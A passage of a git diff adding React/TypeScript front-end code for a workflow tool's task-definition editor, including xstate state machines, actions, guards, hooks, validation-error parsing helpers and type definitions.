policy for handling timeout", + }} + items={Object.values(TaskTimeoutPolicy).map((value) => ({ + label: TaskTimeoutPolicyLabel[value], + value, + }))} + /> + + + + + + Schema + + + JSON schema for the input/output validation.{" "} + + Learn more. + + + + + + + + _.chain(data) + .groupBy("name") + .map((group, key) => ({ + name: key, + versions: _.map(group, "version"), + })) + .value() + } + value={modifiedTaskDefinition.inputSchema} + onChange={(value) => { + if (value) { + handleChangeInputForm("inputSchema", { + ...value, + type: "JSON", + }); + } else { + handleChangeInputForm("inputSchema", undefined); + } + }} + /> + + + + + _.chain(data) + .groupBy("name") + .map((group, key) => ({ + name: key, + versions: _.map(group, "version"), + })) + .value() + } + value={modifiedTaskDefinition.outputSchema} + onChange={(value) => { + if (value) { + handleChangeInputForm("outputSchema", { + ...value, + type: "JSON", + }); + } else { + handleChangeInputForm("outputSchema", undefined); + } + }} + /> + + + + + handleChangeInputForm("enforceSchema", checked) + } + /> + } + label="Enforce schema" + /> + + + + + + + Task input template: + + + These values act as the task's default input when added to the + workflow and can be overridden within a workflow.{" "} + + Learn more. + + + + + + + { + handleChangeParameters({ + name: "inputTemplate", + value: newValues, + }); + }} + value={{ ...modifiedTaskDefinition.inputTemplate }} + title="" + typeColumnLabel="Type" + keyColumnLabel="Key" + valueColumnLabel="Value" + addItemLabel="Add parameter" + showFieldTypes + enableAutocomplete={false} + /> + + + + + + + Input keys: + + + These values serve as an indicator of the expected input for the + task. + + + + + { + handleChangeParameters({ + name: "inputKeys", + value: newValues, + }); + }} + value={forceToArrayIfWrongType(modifiedTaskDefinition.inputKeys)} + inputLabel="Key" + placeholder="e.g: some key..." + addButtonLabel="Add key" + /> + + + + + + Output keys: + + + These values serve as an indicator of the expected output from the + task. + + + + + { + handleChangeParameters({ + name: "outputKeys", + value: newValues, + }); + }} + value={forceToArrayIfWrongType(modifiedTaskDefinition.outputKeys)} + inputLabel="Key" + placeholder="e.g: some key..." + addButtonLabel="Add key" + /> + + + + ); +}; + +export default TaskDefinitionForm; diff --git a/ui-next/src/pages/definition/task/form/state/actions.ts b/ui-next/src/pages/definition/task/form/state/actions.ts new file mode 100644 index 0000000..241e3fe --- /dev/null +++ b/ui-next/src/pages/definition/task/form/state/actions.ts @@ -0,0 +1,49 @@ +import { assign, DoneInvokeEvent } from "xstate"; +import { + HandleChangeTaskFormEvent, + TaskDefinitionFormContext, +} from "pages/definition/task/form/state/types"; + +export const handleChangeTask = assign< + TaskDefinitionFormContext, + HandleChangeTaskFormEvent +>(({ modifiedTaskDefinition }, { name, value }) => { + // FIXME: Remove this patch after applying new inputs + // Don't need to check array or object anymore + const isArray = ["inputKeys", "outputKeys"].some((key) => key === name); + const result = { + ...modifiedTaskDefinition, + [name]: + isArray && typeof value === "object" && !Array.isArray(value) + ? Object.keys(value!) + : value, + }; + + return { + modifiedTaskDefinition: result, + modifiedTaskDefinitionString: JSON.stringify(result, null, 2), + }; +}); + +export const persistError = assign< + TaskDefinitionFormContext, + DoneInvokeEvent<{ error: { [key: string]: any }; numberOfError: number }> +>((context, { data }) => ({ + error: data.error, + numberOfError: data.numberOfError, +})); + +export const persistErrorMessage = assign< + TaskDefinitionFormContext, + DoneInvokeEvent<{ message: string }> +>((context, { data }) => ({ + popoverMessage: { severity: "error", text: data.message }, +})); + +export const resetForm = assign( + ({ originTaskDefinition }) => ({ + modifiedTaskDefinition: originTaskDefinition, + error: undefined, + numberOfError: undefined, + }), +); diff --git a/ui-next/src/pages/definition/task/form/state/guards.ts b/ui-next/src/pages/definition/task/form/state/guards.ts new file mode 100644 index 0000000..0ae731a --- /dev/null +++ b/ui-next/src/pages/definition/task/form/state/guards.ts @@ -0,0 +1,11 @@ +import { SetEditingFormFieldEvent, TaskDefinitionFormContext } from "./types"; + +export const isNameField = ( + context: TaskDefinitionFormContext, + { name }: SetEditingFormFieldEvent, +) => name === "name"; + +export const isDescriptionField = ( + context: TaskDefinitionFormContext, + { name }: SetEditingFormFieldEvent, +) => name === "description"; diff --git a/ui-next/src/pages/definition/task/form/state/hook.ts b/ui-next/src/pages/definition/task/form/state/hook.ts new file mode 100644 index 0000000..bc7965d --- /dev/null +++ b/ui-next/src/pages/definition/task/form/state/hook.ts @@ -0,0 +1,91 @@ +import { ActorRef } from "xstate"; +import { + TaskDefinitionFormEventType, + TaskDefinitionFormMachineEvent, +} from "./types"; +import { useActor, useSelector } from "@xstate/react"; +import { ChangeEvent } from "react"; + +export const useTaskDefinitionFormActor = ( + actor: ActorRef, +) => { + const [state, send] = useActor(actor); + const { modifiedTaskDefinition, originTaskDefinition, error } = state.context; + + const isEditingName = useSelector(actor, (state) => + state.matches("ready.editingField.name"), + ); + + const isEditingDescription = useSelector(actor, (state) => + state.matches("ready.editingField.description"), + ); + + const handleChangeTaskForm = ( + value: number | string | Record | null, + event?: ChangeEvent, + ) => { + if (event) { + const { name } = event.target; + + send({ + type: TaskDefinitionFormEventType.HANDLE_CHANGE_TASK_FORM, + name, + value, + }); + } + }; + + const handleChangeInputForm = ( + name: string, + value: + | number + | string + | Record + | boolean + | null + | undefined, + ) => { + send({ + type: TaskDefinitionFormEventType.HANDLE_CHANGE_TASK_FORM, + name, + value, + }); + }; + + const handleChangeParameters = ({ + name, + value, + }: { + name: string; + value: Record | string[]; + }) => { + send({ + type: TaskDefinitionFormEventType.HANDLE_CHANGE_TASK_FORM, + name, + value, + }); + }; + + const setEditingFieldForm = (name: string) => { + send({ + type: TaskDefinitionFormEventType.SET_EDITING_FORM_FIELD, + name, + }); + }; + + return [ + { + error, + isEditingName, + isEditingDescription, + modifiedTaskDefinition, + originTaskDefinition, + }, + { + handleChangeTaskForm, + handleChangeParameters, + setEditingFieldForm, + handleChangeInputForm, + }, + ] as const; +}; diff --git a/ui-next/src/pages/definition/task/form/state/index.ts b/ui-next/src/pages/definition/task/form/state/index.ts new file mode 100644 index 0000000..3a18560 --- /dev/null +++ b/ui-next/src/pages/definition/task/form/state/index.ts @@ -0,0 +1,4 @@ +export * from "./machine"; +export * from "./types"; +export * from "./guards"; +export * from "./actions"; diff --git a/ui-next/src/pages/definition/task/form/state/machine.ts b/ui-next/src/pages/definition/task/form/state/machine.ts new file mode 100644 index 0000000..a835c50 --- /dev/null +++ b/ui-next/src/pages/definition/task/form/state/machine.ts @@ -0,0 +1,133 @@ +import { createMachine } from "xstate"; +import { + TaskDefinitionFormContext, + TaskDefinitionFormEventType, + TaskDefinitionFormMachineEvent, +} from "pages/definition/task/form/state/types"; +import * as customActions from "./actions"; +import * as guards from "./guards"; +import * as services from "./services"; +import { TaskDefinitionDto } from "types"; +import { TASK_FORM_MACHINE_ID } from "pages/definition/task/state/helpers"; + +export const taskDefinitionFormMachine = createMachine< + TaskDefinitionFormContext, + TaskDefinitionFormMachineEvent +>( + { + id: TASK_FORM_MACHINE_ID, + predictableActionArguments: true, + initial: "ready", + context: { + modifiedTaskDefinition: {} as TaskDefinitionDto, + originTaskDefinition: {} as TaskDefinitionDto, + }, + on: { + [TaskDefinitionFormEventType.SET_EDITING_FORM_FIELD]: [ + // This is not needed and complex but works. Will refactor later + { + target: "ready.editingField.name", + cond: "isNameField", + }, + { + target: "ready.editingField.description", + cond: "isDescriptionField", + }, + { + target: "ready.editingField.none", + }, + ], + }, + states: { + ready: { + type: "parallel", + on: { + [TaskDefinitionFormEventType.HANDLE_CHANGE_TASK_FORM]: { + actions: "handleChangeTask", + /* target: ".validate.start", */ + }, + [TaskDefinitionFormEventType.TOGGLE_FORM_MODE]: { + target: "finish", + }, + [TaskDefinitionFormEventType.SET_SAVE_CONFIRMATION_OPEN]: { + target: "finish", + }, + [TaskDefinitionFormEventType.SET_RESET_CONFIRMATION_OPEN]: { + target: "finish", + }, + [TaskDefinitionFormEventType.SET_DELETE_CONFIRMATION_OPEN]: { + target: "finish", + }, + [TaskDefinitionFormEventType.CONFIRM_RESET_TASK]: { + actions: ["resetForm"], + }, + [TaskDefinitionFormEventType.RESET_FORM]: { + actions: "resetForm", + }, + }, + states: { + exportFileState: { + //No need to be a parallel state.[nor the others] but big refactor will handle this at a later time + initial: "idle", + states: { + idle: { + on: { + [TaskDefinitionFormEventType.EXPORT_TASK_TO_JSON_FILE]: { + target: "exportTask", + }, + }, + }, + exportTask: { + invoke: { + src: "handleDownloadFile", + onDone: { + target: "idle", + }, + onError: { + actions: ["persistErrorMessage"], + }, + }, + }, + }, + }, + editingField: { + initial: "none", + states: { + none: {}, + name: {}, + description: {}, + }, + }, + validate: { + initial: "stop", + states: { + stop: {}, + start: { + invoke: { + src: "validateForm", + onDone: { + actions: "persistError", + target: "stop", + }, + onError: { + actions: "persistErrorMessage", + target: "stop", + }, + }, + }, + }, + }, + }, + }, + finish: { + type: "final", + data: (context, event) => ({ ...context, reason: event.type }), + }, + }, + }, + { + actions: customActions as any, + guards: guards as any, + services: services as any, + }, +); diff --git a/ui-next/src/pages/definition/task/form/state/services.ts b/ui-next/src/pages/definition/task/form/state/services.ts new file mode 100644 index 0000000..bb8a967 --- /dev/null +++ b/ui-next/src/pages/definition/task/form/state/services.ts @@ -0,0 +1,12 @@ +import { TaskDefinitionFormContext } from "pages/definition/task/form/state/types"; + +import { handleDownloadFile } from "pages/definition/task/state/services"; +import { validatingService } from "pages/definition/task/state/validator"; + +export const validateForm = async ({ + modifiedTaskDefinition, +}: TaskDefinitionFormContext) => { + return validatingService(modifiedTaskDefinition, false); +}; + +export { handleDownloadFile }; diff --git a/ui-next/src/pages/definition/task/form/state/types.ts b/ui-next/src/pages/definition/task/form/state/types.ts new file mode 100644 index 0000000..c33aed2 --- /dev/null +++ b/ui-next/src/pages/definition/task/form/state/types.ts @@ -0,0 +1,90 @@ +import { PopoverMessage, TaskDefinitionDto } from "types"; + +export interface TaskDefinitionFormContext { + modifiedTaskDefinition: TaskDefinitionDto; + originTaskDefinition: TaskDefinitionDto; + error?: { [key: string]: any }; + numberOfError?: number; + popoverMessage?: PopoverMessage; +} + +export enum TaskDefinitionFormEventType { + HANDLE_CHANGE_TASK_FORM = "HANDLE_CHANGE_TASK_FORM", + SET_EDITING_FORM_FIELD = "SET_EDITING_FORM_FIELD", + STOP_FORM_MACHINE = "STOP_FORM_MACHINE", + SYNC_DATA_TO_PARENT = "SYNC_DATA_TO_PARENT", + RESET_FORM = "RESET_FORM", + TOGGLE_FORM_MODE = "TOGGLE_FORM_MODE", + SET_RESET_CONFIRMATION_OPEN = "SET_RESET_CONFIRMATION_OPEN", + SET_SAVE_CONFIRMATION_OPEN = "SET_SAVE_CONFIRMATION_OPEN", + SET_DELETE_CONFIRMATION_OPEN = "SET_DELETE_CONFIRMATION_OPEN", + EXPORT_TASK_TO_JSON_FILE = "EXPORT_TASK_TO_JSON_FILE", + CONFIRM_RESET_TASK = "CONFIRM_RESET_TASK", +} + +export type ToggleFormModeEvent = { + type: TaskDefinitionFormEventType.TOGGLE_FORM_MODE; +}; + +export type SetSaveConfirmationEvent = { + type: TaskDefinitionFormEventType.SET_SAVE_CONFIRMATION_OPEN; +}; + +export type SetResetConfirmationEvent = { + type: TaskDefinitionFormEventType.SET_RESET_CONFIRMATION_OPEN; +}; + +export type SetDeleteConfirmationEvent = { + type: TaskDefinitionFormEventType.SET_DELETE_CONFIRMATION_OPEN; +}; + +export type ExportTaskToJsonEvent = { + type: TaskDefinitionFormEventType.EXPORT_TASK_TO_JSON_FILE; +}; + +export type ConfirmResetEvent = { + type: TaskDefinitionFormEventType.CONFIRM_RESET_TASK; +}; + +export type SetEditingFormFieldEvent = { + type: TaskDefinitionFormEventType.SET_EDITING_FORM_FIELD; + name: string; +}; + +export type HandleChangeTaskFormEvent = { + type: TaskDefinitionFormEventType.HANDLE_CHANGE_TASK_FORM; + name: string; + value: + | number + | string + | Record + | boolean + | null + | string[] + | undefined; +}; + +export type StopFormMachineEvent = { + type: TaskDefinitionFormEventType.STOP_FORM_MACHINE; +}; + +export type SyncDataToParentEvent = { + type: TaskDefinitionFormEventType.SYNC_DATA_TO_PARENT; +}; + +export type ResetFormEvent = { + type: TaskDefinitionFormEventType.RESET_FORM; +}; + +export type TaskDefinitionFormMachineEvent = + | HandleChangeTaskFormEvent + | SetEditingFormFieldEvent + | StopFormMachineEvent + | SyncDataToParentEvent + | ToggleFormModeEvent + | SetSaveConfirmationEvent + | SetResetConfirmationEvent + | SetDeleteConfirmationEvent + | ExportTaskToJsonEvent + | ConfirmResetEvent + | ResetFormEvent; diff --git a/ui-next/src/pages/definition/task/index.ts b/ui-next/src/pages/definition/task/index.ts new file mode 100644 index 0000000..52cf509 --- /dev/null +++ b/ui-next/src/pages/definition/task/index.ts @@ -0,0 +1,3 @@ +import TaskDefinition from "pages/definition/task/TaskDefinition"; + +export { TaskDefinition }; diff --git a/ui-next/src/pages/definition/task/state/actions.ts b/ui-next/src/pages/definition/task/state/actions.ts new file mode 100644 index 0000000..41cdcb2 --- /dev/null +++ b/ui-next/src/pages/definition/task/state/actions.ts @@ -0,0 +1,202 @@ +import { TaskDefinitionFormContext } from "pages/definition/task/form/state"; +import { newTaskTemplate } from "templates/JSONSchemaWorkflow"; +import { TaskDefinitionDto } from "types/TaskDefinition"; +import { logger, randomChars } from "utils"; +import { assign, DoneInvokeEvent, send } from "xstate"; +import { cancel } from "xstate/lib/actions"; +import { + DebounceHandleChangeTaskDefinitionEvent, + HandleChangeTaskDefinitionEvent, + SetInputParametersEvent, + SetSaveConfirmationOpenEvent, + SetTaskDefinitionEvent, + SetTaskDomainEvent, + TaskDefinitionMachineContext, + TaskDefinitionMachineEventType, + TaskDefinitionMachineState, +} from "./types"; + +export const handleChangeTaskDefinition = assign< + TaskDefinitionMachineContext, + HandleChangeTaskDefinitionEvent +>(({ modifiedTaskDefinition, couldNotParseJson }, event) => { + let result = modifiedTaskDefinition; + let parsingResultWentWell = couldNotParseJson; + try { + result = JSON.parse(event.modifiedTaskDefinitionString); + parsingResultWentWell = true; + } catch { + logger.info("Json is broken"); + parsingResultWentWell = false; + } + + return { + modifiedTaskDefinitionString: event.modifiedTaskDefinitionString, + modifiedTaskDefinition: result, + couldNotParseJson: !parsingResultWentWell, + }; +}); + +export const debounceChangeTaskDefinition = send< + TaskDefinitionMachineContext, + DebounceHandleChangeTaskDefinitionEvent +>( + (__, { modifiedTaskDefinitionString }) => { + return { + type: TaskDefinitionMachineEventType.HANDLE_CHANGE_TASK_DEFINITION, + modifiedTaskDefinitionString, + }; + }, + { delay: 10, id: "debounceChangeTaskDefinition" }, +); + +export const cancelDebounceChangeTaskDefinition = cancel( + "debounceChangeTaskDefinition", +); + +export const persistTaskDefinitionByName = assign< + TaskDefinitionMachineContext, + DoneInvokeEvent +>((context, { data }) => { + const jsonString = JSON.stringify(data, null, 2); + + return { + originTaskDefinitionString: jsonString, // Not necesary + modifiedTaskDefinitionString: jsonString, // Not necesary + originTaskDefinition: data, + modifiedTaskDefinition: data, + }; +}); + +export const persistError = assign< + TaskDefinitionFormContext, + DoneInvokeEvent<{ error: { [key: string]: any }; numberOfError: number }> +>((context, { data }) => ({ + error: data.error, + numberOfError: data.numberOfError, +})); + +export const changeIsContinueCreate = assign< + TaskDefinitionMachineContext, + SetSaveConfirmationOpenEvent +>({ + isContinueCreate: (_, { isContinueCreate }) => isContinueCreate, +}); + +export const updateOriginTaskDefinition = assign< + TaskDefinitionMachineContext, + DoneInvokeEvent +>((context) => { + const newVersion = context.modifiedTaskDefinition; + const jsonString = JSON.stringify(newVersion, null, 2); + + return { + originTaskDefinition: newVersion, + originTaskDefinitionString: jsonString, // Not necesary + modifiedTaskDefinitionString: jsonString, // Not necesary + modifiedTaskDefinition: newVersion, + }; +}); + +// Maybe not needed +export const setIsEditTaskDef = assign(() => ({ + isNewTaskDef: false, +})); + +export const resetContext = assign( + ({ originTaskDefinition }) => { + const jsonString = JSON.stringify(originTaskDefinition, null, 2); + + return { + isContinueCreate: undefined, + originTaskDefinitionString: jsonString, + modifiedTaskDefinitionString: jsonString, + modifiedTaskDefinition: originTaskDefinition, + originTaskDefinition, + popoverMessage: null, + error: undefined, + numberOfError: undefined, + }; + }, +); + +export const prepareNewTaskContext = assign( + ({ user, authHeaders }) => { + const initTaskDefinition = { + ...newTaskTemplate(user?.id || "example@email.com"), + name: `task-${randomChars(6)}`, + } as Partial; + const jsonString = JSON.stringify(initTaskDefinition, null, 2); + + return { + authHeaders, + user, + bulkMode: false, + isContinueCreate: undefined, + isNewTaskDef: true, + originTaskDefinitionString: jsonString, + modifiedTaskDefinitionString: jsonString, + modifiedTaskDefinition: initTaskDefinition, + originTaskDefinition: initTaskDefinition, + popoverMessage: null, + error: undefined, + numberOfError: undefined, + }; + }, +); + +export const setInputParameters = assign< + TaskDefinitionMachineContext, + SetInputParametersEvent +>((_, { inputParameters }) => ({ + testInputParameters: inputParameters, +})); + +export const setTaskDomain = assign< + TaskDefinitionMachineContext, + SetTaskDomainEvent +>((_, { domain }) => ({ + testTaskDomain: domain, +})); + +export const persistWorkflowId = assign< + TaskDefinitionMachineContext, + DoneInvokeEvent +>({ + testTaskWorkflowId: (_context, { data }) => data, +}); + +export const syncDataFromFormMachine = assign< + TaskDefinitionMachineContext, + DoneInvokeEvent +>((_, { data }) => { + return { + modifiedTaskDefinition: data.modifiedTaskDefinition, + modifiedTaskDefinitionString: JSON.stringify( + data.modifiedTaskDefinition, + null, + 2, + ), + error: data.error, + numberOfError: data.numberOfError, + lastSelectedTab: TaskDefinitionMachineState.FORM, + }; +}); + +export const cleanLastSelectedTab = assign({ + lastSelectedTab: undefined, +}); + +export const setNameOnOriginTaskDefinition = assign< + TaskDefinitionFormContext, + SetTaskDefinitionEvent +>((context, { name, isNew }) => { + const taskDefintionDto: TaskDefinitionDto = { + ...context.modifiedTaskDefinition, + name, + }; + return { + originTaskDefinition: taskDefintionDto, + isNewTaskDef: isNew, + }; +}); diff --git a/ui-next/src/pages/definition/task/state/guards.ts b/ui-next/src/pages/definition/task/state/guards.ts new file mode 100644 index 0000000..1e71d32 --- /dev/null +++ b/ui-next/src/pages/definition/task/state/guards.ts @@ -0,0 +1,84 @@ +import { + CancelConfirmSaveEvent, + HandleChangeTaskDefinitionEvent, + HandleDefineNewConfirmationEvent, + HandleDeleteTaskDefConfirmationEvent, + HandleResetConfirmationEvent, + SaveTaskDefinitionEvent, + SetResetConfirmationOpenEvent, + TaskDefinitionMachineContext, + TaskDefinitionMachineEventType, + TaskDefinitionMachineState, +} from "pages/definition/task/state/types"; +import fastDeepEqual from "fast-deep-equal"; +import { DoneInvokeEvent, GuardMeta } from "xstate"; + +export const isChanged = ( + context: TaskDefinitionMachineContext, + event: HandleChangeTaskDefinitionEvent | SetResetConfirmationOpenEvent, +) => { + switch (event.type) { + case TaskDefinitionMachineEventType.HANDLE_CHANGE_TASK_DEFINITION: + return !fastDeepEqual( + context.originTaskDefinitionString, + event.modifiedTaskDefinitionString, + ); + + case TaskDefinitionMachineEventType.SET_RESET_CONFIRMATION_OPEN: + return !fastDeepEqual( + context.originTaskDefinition, + context.modifiedTaskDefinition, + ); + + default: + return false; + } +}; + +export const isNewTaskDef = (context: TaskDefinitionMachineContext) => + context.isNewTaskDef; + +export const isEditTaskDefinition = (context: TaskDefinitionMachineContext) => + !context.isNewTaskDef; + +export const isConfirm = ( + _: TaskDefinitionMachineContext, + event: + | HandleDefineNewConfirmationEvent + | HandleDeleteTaskDefConfirmationEvent + | HandleResetConfirmationEvent, +) => { + return event.isConfirm; +}; + +export const isSaveConfirmationOpen = ( + context: TaskDefinitionMachineContext, + event: HandleDefineNewConfirmationEvent, + { + state, + }: GuardMeta, +) => { + //@ts-ignore + return state.value?.dialog?.saveConfirmationOpen === "open"; +}; + +export const lastTabWasForm = (context: TaskDefinitionMachineContext) => + context.lastSelectedTab === TaskDefinitionMachineState.FORM; + +export const isFormModeHist = ( + context: TaskDefinitionMachineContext, + event: CancelConfirmSaveEvent | SaveTaskDefinitionEvent, + { + state, + }: GuardMeta< + TaskDefinitionMachineContext, + | HandleDefineNewConfirmationEvent + | SaveTaskDefinitionEvent + | DoneInvokeEvent + >, +) => { + return !!state.history?.matches("form"); +}; + +export const isContinueCreate = (context: TaskDefinitionMachineContext) => + context.isContinueCreate; diff --git a/ui-next/src/pages/definition/task/state/helpers.ts b/ui-next/src/pages/definition/task/state/helpers.ts new file mode 100644 index 0000000..a69a7ba --- /dev/null +++ b/ui-next/src/pages/definition/task/state/helpers.ts @@ -0,0 +1,67 @@ +import type { ErrorObject } from "ajv"; +import _set from "lodash/set"; + +export const TASK_DEFINITION_SAVED_SUCCESSFULLY_MESSAGE = + "Task definition saved successfully."; + +export const TASK_FORM_MACHINE_ID = "taskDefinitionFormMachine"; +export const TASK_DIALOGS_MACHINE_ID = "taskDefinitionDialogsMachine"; + +/** + * Parse errors (array) to object + * @param errors + */ +export const parseErrors = (errors: ErrorObject[] | null) => + errors + ? errors.reduce( + (obj, { instancePath, schemaPath, params, keyword, message }) => { + const keys = instancePath.split("/") as string[]; + + if (keyword === "required" && params?.missingProperty) { + keys.push(params.missingProperty); + } + + // Remove the 1st empty ("") item in the array + keys.shift(); + + const errorKey = keys.at(-1); + + if (errorKey) { + if ( + !schemaPath.startsWith("#/") && + keys.length === 1 && + keyword === "type" + ) { + keys.push(keyword); + } + + return _set(obj, keys.join("."), { + message, + }); + } + + // Checking unique items in array (bulk mode) + if (keyword === "uniqueItems") { + return { + ...obj, + misc: { + uniqueItems: { message }, + }, + }; + } + + if (keyword) { + return _set( + obj, + params.type === "array" ? `misc.${keyword}` : keyword, + { + message, + }, + ); + } + + return obj; + }, + {}, + ) + : {}; diff --git a/ui-next/src/pages/definition/task/state/hook.ts b/ui-next/src/pages/definition/task/state/hook.ts new file mode 100644 index 0000000..08b1170 --- /dev/null +++ b/ui-next/src/pages/definition/task/state/hook.ts @@ -0,0 +1,321 @@ +import { useActor, useSelector } from "@xstate/react"; +import fastDeepEqual from "fast-deep-equal"; +import { useContext } from "react"; +import { ActorRef } from "xstate"; + +import { MessageContext } from "components/providers/messageContext"; +import { + TaskDefinitionMachineEvent, + TaskDefinitionMachineEventType, + TaskDefinitionMachineState, +} from "pages/definition/task/state/types"; +import { newTaskTemplate } from "templates/JSONSchemaWorkflow"; +import { PopoverMessage } from "types/Messages"; +import { TASK_DIALOGS_MACHINE_ID, TASK_FORM_MACHINE_ID } from "./helpers"; + +export const useTaskDefinition = ( + actor: ActorRef, +) => { + const { setMessage } = useContext(MessageContext); + // Use send from useActor but don't subscribe to state changes - use selectors instead + const [, send] = useActor(actor); + const modifiedTaskDefinition = useSelector( + actor, + (state) => state.context.modifiedTaskDefinition, + ); + + const originTaskDefinition = useSelector( + actor, + (state) => state.context.originTaskDefinition, + ); + + const originTaskDefinitionString = useSelector( + actor, + (state) => state.context.originTaskDefinitionString, + ); + + const modifiedTaskDefinitionString = useSelector( + actor, + (state) => state.context.modifiedTaskDefinitionString, + ); + + const taskDefinitions = useSelector( + actor, + (state) => state.context.taskDefinitions, + ); + + const originTaskDefinitions = useSelector( + actor, + (state) => state.context.originTaskDefinitions, + ); + + const isModified = useSelector(actor, (state) => + state.matches("editor.modified"), + ); + + const testInputParameters = useSelector( + actor, + (state) => state.context.testInputParameters, + ); + + const testTaskDomain = useSelector( + actor, + (state) => state.context.testTaskDomain, + ); + + const testTaskWorkflowId = useSelector( + actor, + (state) => state.context.testTaskWorkflowId, + ); + + const couldNotParseJson = useSelector( + actor, + (state) => state.context.couldNotParseJson, + ); + + const isDialogOpen = useSelector(actor, (state) => + state.matches("editor.dialog"), + ); + + const isFetching = useSelector(actor, (state) => + [ + "editor.fetchTaskDefinitions", + "editor.fetchTaskDefinitionByName", + "diffEditor.fetchTaskDefinitionByName", + "diffEditor.createTaskDefinition", + "diffEditor.updateTaskDefinition", + ].some(state.matches), + ); + + const isReady = useSelector(actor, (state) => + state.matches([TaskDefinitionMachineState.READY]), + ); + + const isContinueCreate = useSelector( + actor, + (state) => state.context.isContinueCreate, + ); + + const isNewTaskDef = useSelector( + actor, + (state) => state.context.isNewTaskDef, + ); + + const error = useSelector(actor, (state) => state.context.error); + + const numberOfError = useSelector( + actor, + (state) => state.context.numberOfError, + ); + + const isEditingName = useSelector(actor, (state) => + state.matches("ready.form.editingField.name"), + ); + + const isEditingDescription = useSelector(actor, (state) => + state.matches("ready.form.editingField.description"), + ); + + const isConfirmingSave = useSelector(actor, (state) => + state.matches([ + TaskDefinitionMachineState.READY, + TaskDefinitionMachineState.MAIN_CONTAINER, + TaskDefinitionMachineState.DIFF_EDITOR, + ]), + ); + + const isEditingInEditor = useSelector(actor, (state) => + state.matches([ + TaskDefinitionMachineState.READY, + TaskDefinitionMachineState.MAIN_CONTAINER, + TaskDefinitionMachineState.EDITOR, + ]), + ); + + const isEqual = useSelector( + actor, + ({ + context: { + bulkMode, + mode, + modifiedTaskDefinitionString, + originTaskDefinitionString, + originTaskDefinitions, + taskDefinitions, + }, + }) => { + const isBulkModeEqual = fastDeepEqual( + originTaskDefinitions, + taskDefinitions, + ); + const isJSONStringEqual = fastDeepEqual( + originTaskDefinitionString, + modifiedTaskDefinitionString, + ); + + if (mode === "editor") { + return bulkMode ? isBulkModeEqual : isJSONStringEqual; + } + + if (isConfirmingSave) { + return isJSONStringEqual; + } + + return false; + }, + ); + + // @ts-ignore + const formActor = actor?.children?.get(TASK_FORM_MACHINE_ID); + + // @ts-ignore + const dialogActor = actor?.children?.get(TASK_DIALOGS_MACHINE_ID); + + // FUNCTIONS + + const needSyncData = () => { + send({ + type: TaskDefinitionMachineEventType.NEED_SYNC_DATA_FROM_FORM_MACHINE, + }); + }; + + const handleChangeTaskDefinition = (editorValue: string) => { + send({ + type: TaskDefinitionMachineEventType.DEBOUNCE_HANDLE_CHANGE_TASK_DEFINITION, + modifiedTaskDefinitionString: editorValue, + }); + }; + + const handleRunTestTask = () => { + send({ + type: TaskDefinitionMachineEventType.HANDLE_RUN_TEST_TASK, + }); + }; + + const setInputParameters = (inputParameters: string) => { + send({ + type: TaskDefinitionMachineEventType.SET_INPUT_PARAMETERS, + inputParameters, + }); + }; + + const setTaskDomain = (domain: string) => { + send({ + type: TaskDefinitionMachineEventType.SET_TASK_DOMAIN, + domain, + }); + }; + + // Get additional values needed for convertJSONToString + const user = useSelector(actor, (state) => state.context.user); + const bulkMode = useSelector(actor, (state) => state.context.bulkMode); + + const convertJSONToString = () => { + if (isNewTaskDef) { + const initialDef = newTaskTemplate(user?.email || "example@email.com"); + + return JSON.stringify(bulkMode ? [initialDef] : initialDef, null, 2); + } + + return JSON.stringify(modifiedTaskDefinition, null, 2); + }; + + const handlePopoverMessage = (popoverMessage: PopoverMessage | null) => { + setMessage(popoverMessage); + }; + + const saveTaskDefinition = () => { + send({ + type: TaskDefinitionMachineEventType.SAVE_TASK_DEFINITION, + }); + }; + + const handleDownloadFile = () => { + send({ + type: TaskDefinitionMachineEventType.EXPORT_TASK_TO_JSON_FILE, + }); + }; + + const setSaveConfirmationOpen = (isContinueCreate = false) => { + send({ + type: TaskDefinitionMachineEventType.SET_SAVE_CONFIRMATION_OPEN, + isContinueCreate, + }); + }; + + const setResetConfirmationOpen = () => { + needSyncData(); + send({ + type: TaskDefinitionMachineEventType.SET_RESET_CONFIRMATION_OPEN, + }); + }; + + const setDeleteConfirmationOpen = () => { + send({ + type: TaskDefinitionMachineEventType.SET_DELETE_CONFIRMATION_OPEN, + }); + }; + + const cancelConfirmSave = () => { + send({ type: TaskDefinitionMachineEventType.CANCEL_CONFIRM_SAVE }); + }; + + const closeDialog = () => { + send({ type: TaskDefinitionMachineEventType.CLOSE_DIALOG }); + }; + + const toggleFormMode = (value: boolean) => { + send({ + type: TaskDefinitionMachineEventType.TOGGLE_FORM_MODE, + formMode: value, + }); + }; + + return [ + { + dialogActor, + error, + formActor, + isContinueCreate, + isDialogOpen, + isEditingDescription, + isEditingName, + isEqual, + isFetching, + isReady, + isModified, + isNewTaskDef, + modifiedTaskDefinition, + modifiedTaskDefinitionString, + numberOfError, + originTaskDefinition, + originTaskDefinitionString, + originTaskDefinitions, + saveConfirmationOpen: isConfirmingSave, + taskDefinitions, + testInputParameters, + testTaskDomain, + testTaskWorkflowId, + isEditingInEditor, + isConfirmingSave, + couldNotParseJson, + }, + { + cancelConfirmSave, + closeDialog, + convertJSONToString, + handleChangeTaskDefinition, + handleDownloadFile, + handlePopoverMessage, + handleRunTestTask, + needSyncData, + saveTaskDefinition, + setDeleteConfirmationOpen, + setInputParameters, + setResetConfirmationOpen, + setSaveConfirmationOpen, + setTaskDomain, + toggleFormMode, + }, + ] as const; +}; diff --git a/ui-next/src/pages/definition/task/state/index.ts b/ui-next/src/pages/definition/task/state/index.ts new file mode 100644 index 0000000..79fd822 --- /dev/null +++ b/ui-next/src/pages/definition/task/state/index.ts @@ -0,0 +1,2 @@ +export * from "./machine"; +export * from "./types"; diff --git a/ui-next/src/pages/definition/task/state/machine.ts b/ui-next/src/pages/definition/task/state/machine.ts new file mode 100644 index 0000000..c60c657 --- /dev/null +++ b/ui-next/src/pages/definition/task/state/machine.ts @@ -0,0 +1,362 @@ +import { createMachine, DoneInvokeEvent, forwardTo } from "xstate"; +import { + TaskDefinitionMachineContext, + TaskDefinitionMachineEvent, + TaskDefinitionMachineEventType, + TaskDefinitionMachineState, +} from "./types"; +import { TaskDefinitionDto } from "types/TaskDefinition"; +import * as customActions from "./actions"; +import * as guards from "./guards"; +import * as services from "./services"; +import { taskDefinitionFormMachine } from "pages/definition/task/form/state"; +import { TASK_FORM_MACHINE_ID } from "pages/definition/task/state/helpers"; + +export const taskDefinitionMachine = createMachine< + TaskDefinitionMachineContext, + TaskDefinitionMachineEvent +>( + { + id: "taskDefinitionMachine", + predictableActionArguments: true, + initial: 